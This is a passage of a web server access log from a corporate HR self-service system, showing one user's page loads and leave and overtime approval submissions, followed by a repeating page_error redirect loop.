"http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:37 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:38 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 100.64.0.1 - - [04/Dec/2025:23:35:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 100.64.0.1 - - [04/Dec/2025:23:35:39 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 100.64.0.1 - - [04/Dec/2025:23:35:39 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:40 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:40 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 100.64.0.1 - - [04/Dec/2025:23:35:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 100.64.0.1 - - [04/Dec/2025:23:37:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 100.64.0.1 - - [04/Dec/2025:23:37:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 100.64.0.1 - - [04/Dec/2025:23:37:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:37:21 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:21 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 100.64.0.1 - - [04/Dec/2025:23:37:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 16541 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 16541 100.64.0.1 - - [04/Dec/2025:23:37:23 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:23 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 100.64.0.1 - - [04/Dec/2025:23:37:26 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:26 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445 100.64.0.1 - - [04/Dec/2025:23:37:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 100.64.0.1 - - [04/Dec/2025:23:37:26 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://hcp.maglayers.com.cn:8088/eHR/css/default.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:26 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 100.64.0.1 - - [04/Dec/2025:23:37:33 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 5003 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:33 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 5003 100.64.0.1 - - [04/Dec/2025:23:37:35 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:37:35 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 100.64.0.1 - - [04/Dec/2025:23:39:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 65706 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 65706 100.64.0.1 - - [04/Dec/2025:23:39:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132738%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132738&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132738%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132738&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:24 +0800] "GET 